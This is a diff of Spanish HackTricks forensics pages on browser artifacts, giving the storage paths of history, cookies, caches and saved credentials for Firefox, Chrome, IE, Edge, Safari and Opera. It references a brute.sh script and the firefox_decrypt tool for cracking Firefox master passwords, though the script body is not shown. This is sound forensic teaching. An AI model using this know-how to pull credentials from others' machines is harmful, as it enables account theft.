Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>Apoya a HackTricks</summary>
Otras formas de apoyar a HackTricks: * Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). * **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
</details> </details>
{% endhint %}
<figure><img src="../../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\ \
Utiliza [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=browser-artifacts) para construir y **automatizar flujos de trabajo** con las herramientas comunitarias más avanzadas del mundo.\ Usa [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=browser-artifacts) para construir y **automatizar flujos de trabajo** fácilmente, impulsados por las **herramientas comunitarias más avanzadas** del mundo.\
¡Accede hoy mismo: Obtén acceso hoy:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=browser-artifacts" %} {% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=browser-artifacts" %}
## Artefactos de Navegadores <a href="#id-3def" id="id-3def"></a> ## Artefactos del Navegador <a href="#id-3def" id="id-3def"></a>
Los artefactos del navegador incluyen varios tipos de datos almacenados por los navegadores web, como el historial de navegación, marcadores y datos de caché. Estos artefactos se guardan en carpetas específicas dentro del sistema operativo, con ubicaciones y nombres diferentes según el navegador, pero generalmente almacenando tipos de datos similares. Los artefactos del navegador incluyen varios tipos de datos almacenados por los navegadores web, como el historial de navegación, marcadores y datos de caché. Estos artefactos se mantienen en carpetas específicas dentro del sistema operativo, variando en ubicación y nombre entre navegadores, pero generalmente almacenando tipos de datos similares.
Aquí tienes un resumen de los artefactos de navegador más comunes: Aquí hay un resumen de los artefactos de navegador más comunes:
* **Historial de Navegación**: Registra las visitas del usuario a sitios web, útil para identificar visitas a sitios maliciosos. * **Historial de Navegación**: Registra las visitas del usuario a sitios web, útil para identificar visitas a sitios maliciosos.
* **Datos de Autocompletar**: Sugerencias basadas en búsquedas frecuentes, ofreciendo información cuando se combina con el historial de navegación. * **Datos de Autocompletar**: Sugerencias basadas en búsquedas frecuentes, ofreciendo información cuando se combinan con el historial de navegación.
* **Marcadores**: Sitios guardados por el usuario para un acceso rápido. * **Marcadores**: Sitios guardados por el usuario para acceso rápido.
* **Extensiones y Complementos**: Extensiones del navegador o complementos instalados por el usuario. * **Extensiones y Complementos**: Extensiones del navegador o complementos instalados por el usuario.
* **Caché**: Almacena contenido web (por ejemplo, imágenes, archivos JavaScript) para mejorar los tiempos de carga del sitio web, valioso para análisis forense. * **Caché**: Almacena contenido web (por ejemplo, imágenes, archivos JavaScript) para mejorar los tiempos de carga de los sitios web, valioso para el análisis forense.
* **Inicios de Sesión**: Credenciales de inicio de sesión almacenadas. * **Inicios de Sesión**: Credenciales de inicio de sesión almacenadas.
* **Favicons**: Iconos asociados con sitios web, que aparecen en pestañas y marcadores, útiles para obtener información adicional sobre las visitas del usuario. * **Favicons**: Iconos asociados con sitios web, que aparecen en pestañas y marcadores, útiles para información adicional sobre las visitas del usuario.
* **Sesiones del Navegador**: Datos relacionados con las sesiones del navegador abiertas. * **Sesiones del Navegador**: Datos relacionados con las sesiones abiertas del navegador.
* **Descargas**: Registros de archivos descargados a través del navegador. * **Descargas**: Registros de archivos descargados a través del navegador.
* **Datos de Formularios**: Información introducida en formularios web, guardada para sugerencias de autocompletar en el futuro. * **Datos de Formularios**: Información ingresada en formularios web, guardada para futuras sugerencias de autocompletar.
* **Miniaturas**: Imágenes de vista previa de sitios web. * **Miniaturas**: Imágenes de vista previa de sitios web.
* **Diccionario Personalizado.txt**: Palabras añadidas por el usuario al diccionario del navegador. * **Custom Dictionary.txt**: Palabras añadidas por el usuario al diccionario del navegador.
## Firefox ## Firefox
Firefox organiza los datos del usuario en perfiles, almacenados en ubicaciones específicas según el sistema operativo: Firefox organiza los datos del usuario dentro de perfiles, almacenados en ubicaciones específicas según el sistema operativo:
* **Linux**: `~/.mozilla/firefox/` * **Linux**: `~/.mozilla/firefox/`
* **MacOS**: `/Users/$USER/Library/Application Support/Firefox/Profiles/` * **MacOS**: `/Users/$USER/Library/Application Support/Firefox/Profiles/`
* **Windows**: `%userprofile%\AppData\Roaming\Mozilla\Firefox\Profiles\` * **Windows**: `%userprofile%\AppData\Roaming\Mozilla\Firefox\Profiles\`
Un archivo `profiles.ini` dentro de estos directorios lista los perfiles de usuario. Los datos de cada perfil se almacenan en una carpeta nombrada con la variable `Path` dentro de `profiles.ini`, ubicada en el mismo directorio que `profiles.ini` en sí. Si falta la carpeta de un perfil, es posible que haya sido eliminada. Un archivo `profiles.ini` dentro de estos directorios lista los perfiles de usuario. Los datos de cada perfil se almacenan en una carpeta nombrada en la variable `Path` dentro de `profiles.ini`, ubicada en el mismo directorio que `profiles.ini` mismo. Si falta la carpeta de un perfil, puede haber sido eliminada.
Dentro de cada carpeta de perfil, puedes encontrar varios archivos importantes: Dentro de cada carpeta de perfil, puedes encontrar varios archivos importantes:
* **places.sqlite**: Almacena historial, marcadores y descargas. Herramientas como [BrowsingHistoryView](https://www.nirsoft.net/utils/browsing\_history\_view.html) en Windows pueden acceder a los datos del historial. * **places.sqlite**: Almacena historial, marcadores y descargas. Herramientas como [BrowsingHistoryView](https://www.nirsoft.net/utils/browsing\_history\_view.html) en Windows pueden acceder a los datos del historial.
* Utiliza consultas SQL específicas para extraer información del historial y descargas. * Usa consultas SQL específicas para extraer información de historial y descargas.
* **bookmarkbackups**: Contiene copias de seguridad de marcadores. * **bookmarkbackups**: Contiene copias de seguridad de marcadores.
* **formhistory.sqlite**: Almacena datos de formularios web. * **formhistory.sqlite**: Almacena datos de formularios web.
* **handlers.json**: Gestiona los manejadores de protocolo. * **handlers.json**: Gestiona los controladores de protocolo.
* **persdict.dat**: Palabras del diccionario personalizado. * **persdict.dat**: Palabras del diccionario personalizado.
* **addons.json** y **extensions.sqlite**: Información sobre extensiones y complementos instalados. * **addons.json** y **extensions.sqlite**: Información sobre complementos y extensiones instalados.
* **cookies.sqlite**: Almacenamiento de cookies, con [MZCookiesView](https://www.nirsoft.net/utils/mzcv.html) disponible para inspección en Windows. * **cookies.sqlite**: Almacenamiento de cookies, con [MZCookiesView](https://www.nirsoft.net/utils/mzcv.html) disponible para inspección en Windows.
* **cache2/entries** o **startupCache**: Datos de caché, accesibles a través de herramientas como [MozillaCacheView](https://www.nirsoft.net/utils/mozilla\_cache\_viewer.html). * **cache2/entries** o **startupCache**: Datos de caché, accesibles a través de herramientas como [MozillaCacheView](https://www.nirsoft.net/utils/mozilla\_cache\_viewer.html).
* **favicons.sqlite**: Almacena favicons. * **favicons.sqlite**: Almacena favicons.
* **prefs.js**: Ajustes y preferencias del usuario. * **prefs.js**: Configuraciones y preferencias del usuario.
* **downloads.sqlite**: Base de datos de descargas antiguas, ahora integrada en places.sqlite. * **downloads.sqlite**: Base de datos de descargas antiguas, ahora integrada en places.sqlite.
* **thumbnails**: Miniaturas de sitios web. * **thumbnails**: Miniaturas de sitios web.
* **logins.json**: Información de inicio de sesión encriptada. * **logins.json**: Información de inicio de sesión encriptada.
* **key4.db** o **key3.db**: Almacena claves de cifrado para proteger información sensible. * **key4.db** o **key3.db**: Almacena claves de encriptación para asegurar información sensible.
Además, verificar la configuración de antiphishing del navegador se puede hacer buscando entradas `browser.safebrowsing` en `prefs.js`, indicando si las funciones de navegación segura están habilitadas o deshabilitadas. Además, verificar la configuración de anti-phishing del navegador se puede hacer buscando entradas `browser.safebrowsing` en `prefs.js`, indicando si las funciones de navegación segura están habilitadas o deshabilitadas.
Para intentar descifrar la contraseña maestra, puedes utilizar [https://github.com/unode/firefox\_decrypt](https://github.com/unode/firefox\_decrypt)\ Para intentar descifrar la contraseña maestra, puedes usar [https://github.com/unode/firefox\_decrypt](https://github.com/unode/firefox\_decrypt)\
Con el siguiente script y llamada puedes especificar un archivo de contraseñas para realizar fuerza bruta: Con el siguiente script y llamada puedes especificar un archivo de contraseña para hacer fuerza bruta:
{% code title="brute.sh" %} {% code title="brute.sh" %}
```bash ```bash
@ -97,82 +98,82 @@ Google Chrome almacena perfiles de usuario en ubicaciones específicas según el
* **Windows**: `C:\Users\XXX\AppData\Local\Google\Chrome\User Data\` * **Windows**: `C:\Users\XXX\AppData\Local\Google\Chrome\User Data\`
* **MacOS**: `/Users/$USER/Library/Application Support/Google/Chrome/` * **MacOS**: `/Users/$USER/Library/Application Support/Google/Chrome/`
Dentro de estos directorios, la mayoría de los datos de usuario se pueden encontrar en las carpetas **Default/** o **ChromeDefaultData/**. Los siguientes archivos contienen datos significativos: Dentro de estos directorios, la mayoría de los datos del usuario se pueden encontrar en las carpetas **Default/** o **ChromeDefaultData/**. Los siguientes archivos contienen datos significativos:
* **Historial**: Contiene URLs, descargas y palabras clave de búsqueda. En Windows, se puede utilizar [ChromeHistoryView](https://www.nirsoft.net/utils/chrome\_history\_view.html) para leer el historial. La columna "Tipo de transición" tiene varios significados, incluidos clics de usuario en enlaces, URLs escritas, envíos de formularios y recargas de página. * **History**: Contiene URLs, descargas y palabras clave de búsqueda. En Windows, se puede usar [ChromeHistoryView](https://www.nirsoft.net/utils/chrome\_history\_view.html) para leer el historial. La columna "Transition Type" tiene varios significados, incluyendo clics del usuario en enlaces, URLs escritas, envíos de formularios y recargas de página.
* **Cookies**: Almacena cookies. Para inspeccionarlas, está disponible [ChromeCookiesView](https://www.nirsoft.net/utils/chrome\_cookies\_view.html). * **Cookies**: Almacena cookies. Para inspección, está disponible [ChromeCookiesView](https://www.nirsoft.net/utils/chrome\_cookies\_view.html).
* **Caché**: Contiene datos en caché. Para inspeccionarlos, los usuarios de Windows pueden utilizar [ChromeCacheView](https://www.nirsoft.net/utils/chrome\_cache\_view.html). * **Cache**: Contiene datos en caché. Para inspeccionar, los usuarios de Windows pueden utilizar [ChromeCacheView](https://www.nirsoft.net/utils/chrome\_cache\_view.html).
* **Marcadores**: Marcadores del usuario. * **Bookmarks**: Marcadores del usuario.
* **Datos web**: Contiene historial de formularios. * **Web Data**: Contiene el historial de formularios.
* **Favicons**: Almacena favicons de sitios web. * **Favicons**: Almacena favicons de sitios web.
* **Datos de inicio de sesión**: Incluye credenciales de inicio de sesión como nombres de usuario y contraseñas. * **Login Data**: Incluye credenciales de inicio de sesión como nombres de usuario y contraseñas.
* **Sesión actual**/**Pestañas actuales**: Datos sobre la sesión de navegación actual y las pestañas abiertas. * **Current Session**/**Current Tabs**: Datos sobre la sesión de navegación actual y las pestañas abiertas.
* **Última sesión**/**Últimas pestañas**: Información sobre los sitios activos durante la última sesión antes de que se cerrara Chrome. * **Last Session**/**Last Tabs**: Información sobre los sitios activos durante la última sesión antes de que se cerrara Chrome.
* **Extensiones**: Directorios para extensiones y complementos del navegador. * **Extensions**: Directorios para extensiones y complementos del navegador.
* **Miniaturas**: Almacena miniaturas de sitios web. * **Thumbnails**: Almacena miniaturas de sitios web.
* **Preferencias**: Un archivo rico en información, que incluye configuraciones para complementos, extensiones, ventanas emergentes, notificaciones y más. * **Preferences**: Un archivo rico en información, incluyendo configuraciones para complementos, extensiones, ventanas emergentes, notificaciones y más.
* **Antiphishing integrado en el navegador**: Para verificar si la protección contra phishing y malware está habilitada, ejecuta `grep 'safebrowsing' ~/Library/Application Support/Google/Chrome/Default/Preferences`. Busca `{"enabled: true,"}` en la salida. * **Browsers built-in anti-phishing**: Para verificar si la protección contra phishing y malware está habilitada, ejecute `grep 'safebrowsing' ~/Library/Application Support/Google/Chrome/Default/Preferences`. Busque `{"enabled: true,"}` en la salida.
## **Recuperación de datos de bases de datos SQLite** ## **Recuperación de Datos de SQLite DB**
Como se puede observar en las secciones anteriores, tanto Chrome como Firefox utilizan bases de datos **SQLite** para almacenar los datos. Es posible **recuperar entradas eliminadas utilizando la herramienta** [**sqlparse**](https://github.com/padfoot999/sqlparse) **o** [**sqlparse\_gui**](https://github.com/mdegrazia/SQLite-Deleted-Records-Parser/releases). Como se puede observar en las secciones anteriores, tanto Chrome como Firefox utilizan bases de datos **SQLite** para almacenar los datos. Es posible **recuperar entradas eliminadas utilizando la herramienta** [**sqlparse**](https://github.com/padfoot999/sqlparse) **o** [**sqlparse\_gui**](https://github.com/mdegrazia/SQLite-Deleted-Records-Parser/releases).
## **Internet Explorer 11** ## **Internet Explorer 11**
Internet Explorer 11 gestiona sus datos y metadatos en varias ubicaciones, lo que ayuda a separar la información almacenada y sus detalles correspondientes para facilitar el acceso y la gestión. Internet Explorer 11 gestiona sus datos y metadatos en varias ubicaciones, ayudando a separar la información almacenada y sus detalles correspondientes para un fácil acceso y gestión.
### Almacenamiento de metadatos ### Almacenamiento de Metadatos
Los metadatos de Internet Explorer se almacenan en `%userprofile%\Appdata\Local\Microsoft\Windows\WebCache\WebcacheVX.data` (siendo VX V01, V16 o V24). Ades, el archivo `V01.log` puede mostrar discrepancias en el tiempo de modificación con `WebcacheVX.data`, lo que indica la necesidad de reparación utilizando `esentutl /r V01 /d`. Estos metadatos, alojados en una base de datos ESE, pueden recuperarse e inspeccionarse utilizando herramientas como photorec y [ESEDatabaseView](https://www.nirsoft.net/utils/ese\_database\_view.html), respectivamente. Dentro de la tabla **Containers**, se puede discernir las tablas o contenedores específicos donde se almacena cada segmento de datos, incluidos detalles de caché para otras herramientas de Microsoft como Skype. Los metadatos para Internet Explorer se almacenan en `%userprofile%\Appdata\Local\Microsoft\Windows\WebCache\WebcacheVX.data` (siendo VX V01, V16 o V24). Acompañando esto, el archivo `V01.log` puede mostrar discrepancias en el tiempo de modificación con `WebcacheVX.data`, indicando la necesidad de reparación usando `esentutl /r V01 /d`. Este metadato, alojado en una base de datos ESE, puede ser recuperado e inspeccionado utilizando herramientas como photorec y [ESEDatabaseView](https://www.nirsoft.net/utils/ese\_database\_view.html), respectivamente. Dentro de la tabla **Containers**, se puede discernir las tablas o contenedores específicos donde se almacena cada segmento de datos, incluyendo detalles de caché para otras herramientas de Microsoft como Skype.
### Inspección de caché ### Inspección de Caché
La herramienta [IECacheView](https://www.nirsoft.net/utils/ie\_cache\_viewer.html) permite la inspección de la caché, requiriendo la ubicación de la carpeta de extracción de datos de caché. Los metadatos de la caché incluyen nombre de archivo, directorio, recuento de accesos, origen de URL y marcas de tiempo que indican la creación de la caché, acceso, modificación y tiempos de caducidad. La herramienta [IECacheView](https://www.nirsoft.net/utils/ie\_cache\_viewer.html) permite la inspección de caché, requiriendo la ubicación de la carpeta de extracción de datos de caché. Los metadatos de caché incluyen nombre de archivo, directorio, conteo de accesos, origen de URL y marcas de tiempo que indican los tiempos de creación, acceso, modificación y expiración de la caché.
### Gestión de cookies ### Gestión de Cookies
Las cookies se pueden explorar utilizando [IECookiesView](https://www.nirsoft.net/utils/iecookies.html), con metadatos que abarcan nombres, URLs, recuentos de accesos y varios detalles relacionados con el tiempo. Las cookies persistentes se almacenan en `%userprofile%\Appdata\Roaming\Microsoft\Windows\Cookies`, mientras que las cookies de sesión residen en la memoria. Las cookies se pueden explorar utilizando [IECookiesView](https://www.nirsoft.net/utils/iecookies.html), con metadatos que abarcan nombres, URLs, conteos de acceso y varios detalles relacionados con el tiempo. Las cookies persistentes se almacenan en `%userprofile%\Appdata\Roaming\Microsoft\Windows\Cookies`, mientras que las cookies de sesión residen en la memoria.
### Detalles de descargas ### Detalles de Descargas
Los metadatos de descargas son accesibles a través de [ESEDatabaseView](https://www.nirsoft.net/utils/ese\_database\_view.html), con contenedores específicos que contienen datos como URL, tipo de archivo y ubicación de descarga. Los archivos físicos se pueden encontrar en `%userprofile%\Appdata\Roaming\Microsoft\Windows\IEDownloadHistory`. Los metadatos de descargas son accesibles a través de [ESEDatabaseView](https://www.nirsoft.net/utils/ese\_database\_view.html), con contenedores específicos que contienen datos como URL, tipo de archivo y ubicación de descarga. Los archivos físicos se pueden encontrar en `%userprofile%\Appdata\Roaming\Microsoft\Windows\IEDownloadHistory`.
### Historial de navegación ### Historial de Navegación
Para revisar el historial de navegación, se puede utilizar [BrowsingHistoryView](https://www.nirsoft.net/utils/browsing\_history\_view.html), que requiere la ubicación de los archivos de historial extraídos y la configuración para Internet Explorer. Los metadatos aquí incluyen tiempos de modificación y acceso, junto con recuentos de acceso. Los archivos de historial se encuentran en `%userprofile%\Appdata\Local\Microsoft\Windows\History`. Para revisar el historial de navegación, se puede usar [BrowsingHistoryView](https://www.nirsoft.net/utils/browsing\_history\_view.html), requiriendo la ubicación de los archivos de historial extraídos y la configuración para Internet Explorer. Los metadatos aquí incluyen tiempos de modificación y acceso, junto con conteos de acceso. Los archivos de historial se encuentran en `%userprofile%\Appdata\Local\Microsoft\Windows\History`.
### URLs escritas ### URLs Escritas
Las URLs escritas y sus tiempos de uso se almacenan en el registro en `NTUSER.DAT` en `Software\Microsoft\InternetExplorer\TypedURLs` y `Software\Microsoft\InternetExplorer\TypedURLsTime`, rastreando las últimas 50 URLs ingresadas por el usuario y sus últimos tiempos de entrada. Las URLs escritas y sus tiempos de uso se almacenan en el registro bajo `NTUSER.DAT` en `Software\Microsoft\InternetExplorer\TypedURLs` y `Software\Microsoft\InternetExplorer\TypedURLsTime`, rastreando las últimas 50 URLs ingresadas por el usuario y sus últimos tiempos de entrada.
## Microsoft Edge ## Microsoft Edge
Microsoft Edge almacena datos de usuario en `%userprofile%\Appdata\Local\Packages`. Las rutas para varios tipos de datos son: Microsoft Edge almacena datos de usuario en `%userprofile%\Appdata\Local\Packages`. Las rutas para varios tipos de datos son:
* **Ruta del perfil**: `C:\Users\XX\AppData\Local\Packages\Microsoft.MicrosoftEdge_XXX\AC` * **Profile Path**: `C:\Users\XX\AppData\Local\Packages\Microsoft.MicrosoftEdge_XXX\AC`
* **Historial, cookies y descargas**: `C:\Users\XX\AppData\Local\Microsoft\Windows\WebCache\WebCacheV01.dat` * **History, Cookies, and Downloads**: `C:\Users\XX\AppData\Local\Microsoft\Windows\WebCache\WebCacheV01.dat`
* **Configuraciones, marcadores y lista de lectura**: `C:\Users\XX\AppData\Local\Packages\Microsoft.MicrosoftEdge_XXX\AC\MicrosoftEdge\User\Default\DataStore\Data\nouser1\XXX\DBStore\spartan.edb` * **Settings, Bookmarks, and Reading List**: `C:\Users\XX\AppData\Local\Packages\Microsoft.MicrosoftEdge_XXX\AC\MicrosoftEdge\User\Default\DataStore\Data\nouser1\XXX\DBStore\spartan.edb`
* **Caché**: `C:\Users\XXX\AppData\Local\Packages\Microsoft.MicrosoftEdge_XXX\AC#!XXX\MicrosoftEdge\Cache` * **Cache**: `C:\Users\XXX\AppData\Local\Packages\Microsoft.MicrosoftEdge_XXX\AC#!XXX\MicrosoftEdge\Cache`
* **Últimas sesiones activas**: `C:\Users\XX\AppData\Local\Packages\Microsoft.MicrosoftEdge_XXX\AC\MicrosoftEdge\User\Default\Recovery\Active` * **Last Active Sessions**: `C:\Users\XX\AppData\Local\Packages\Microsoft.MicrosoftEdge_XXX\AC\MicrosoftEdge\User\Default\Recovery\Active`
## Safari ## Safari
Los datos de Safari se almacenan en `/Users/$User/Library/Safari`. Los archivos clave incluyen: Los datos de Safari se almacenan en `/Users/$User/Library/Safari`. Los archivos clave incluyen:
* **History.db**: Contiene tablas `history_visits` y `history_items` con URLs y marcas de tiempo de visita. Usa `sqlite3` para consultar. * **History.db**: Contiene tablas `history_visits` y `history_items` con URLs y marcas de tiempo de visitas. Use `sqlite3` para consultar.
* **Downloads.plist**: Información sobre archivos descargados. * **Downloads.plist**: Información sobre archivos descargados.
* **Bookmarks.plist**: Almacena URLs marcadas. * **Bookmarks.plist**: Almacena URLs marcadas.
* **TopSites.plist**: Sitios más visitados. * **TopSites.plist**: Sitios más visitados.
* **Extensions.plist**: Lista de extensiones del navegador Safari. Usa `plutil` o `pluginkit` para recuperar. * **Extensions.plist**: Lista de extensiones del navegador Safari. Use `plutil` o `pluginkit` para recuperar.
* **UserNotificationPermissions.plist**: Dominios permitidos para enviar notificaciones. Usa `plutil` para analizar. * **UserNotificationPermissions.plist**: Dominios permitidos para enviar notificaciones. Use `plutil` para analizar.
* **LastSession.plist**: Pestañas de la última sesión. Usa `plutil` para analizar. * **LastSession.plist**: Pestañas de la última sesión. Use `plutil` para analizar.
* **Antiphishing integrado en el navegador**: Verifica usando `defaults read com.apple.Safari WarnAboutFraudulentWebsites`. Una respuesta de 1 indica que la función está activa. * **Browsers built-in anti-phishing**: Verifique usando `defaults read com.apple.Safari WarnAboutFraudulentWebsites`. Una respuesta de 1 indica que la función está activa.
## Opera ## Opera
Los datos de Opera residen en `/Users/$USER/Library/Application Support/com.operasoftware.Opera` y comparten el formato de Chrome para historial y descargas. Los datos de Opera residen en `/Users/$USER/Library/Application Support/com.operasoftware.Opera` y comparte el formato de Chrome para historial y descargas.
* **Antiphishing integrado en el navegador**: Verifica si `fraud_protection_enabled` en el archivo de Preferencias está configurado en `true` usando `grep`. * **Browsers built-in anti-phishing**: Verifique comprobando si `fraud_protection_enabled` en el archivo de preferencias está configurado como `true` usando `grep`.
Estas rutas y comandos son cruciales para acceder y comprender los datos de navegación almacenados por diferentes navegadores web. Estas rutas y comandos son cruciales para acceder y comprender los datos de navegación almacenados por diferentes navegadores web.
@ -186,17 +187,20 @@ Estas rutas y comandos son cruciales para acceder y comprender los datos de nave
<figure><img src="../../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\ \
Utiliza [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=browser-artifacts) para construir y **automatizar flujos de trabajo** fácilmente con las herramientas comunitarias más avanzadas del mundo.\ Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=browser-artifacts) para construir y **automatizar flujos de trabajo** fácilmente impulsados por las **herramientas más avanzadas** de la comunidad.\
Accede hoy mismo: Obtén acceso hoy:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=browser-artifacts" %} {% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=browser-artifacts" %}
<details> <details>
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary><strong>Aprende hacking de AWS desde cero hasta héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com) Otras formas de apoyar a HackTricks:
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF**, consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén el [**merch oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos.
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github. * **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.

View file

@ -1,30 +1,31 @@
# Almacenamiento en la Nube Local # Almacenamiento en la Nube Local
{% hint style="success" %}
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Aprende a hackear AWS desde cero hasta convertirte en un experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>Apoya a HackTricks</summary>
Otras formas de apoyar a HackTricks: * Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github. * **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos de github.
</details> </details>
{% endhint %}
<figure><img src="../../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\ \
Utiliza [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=local-cloud-storage) para construir y **automatizar flujos de trabajo** fácilmente con las herramientas comunitarias más avanzadas del mundo.\ Usa [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=local-cloud-storage) para construir y **automatizar flujos de trabajo** fácilmente impulsados por las **herramientas comunitarias más avanzadas** del mundo.\
¡Accede hoy mismo: Obtén acceso hoy:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=local-cloud-storage" %} {% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=local-cloud-storage" %}
## OneDrive ## OneDrive
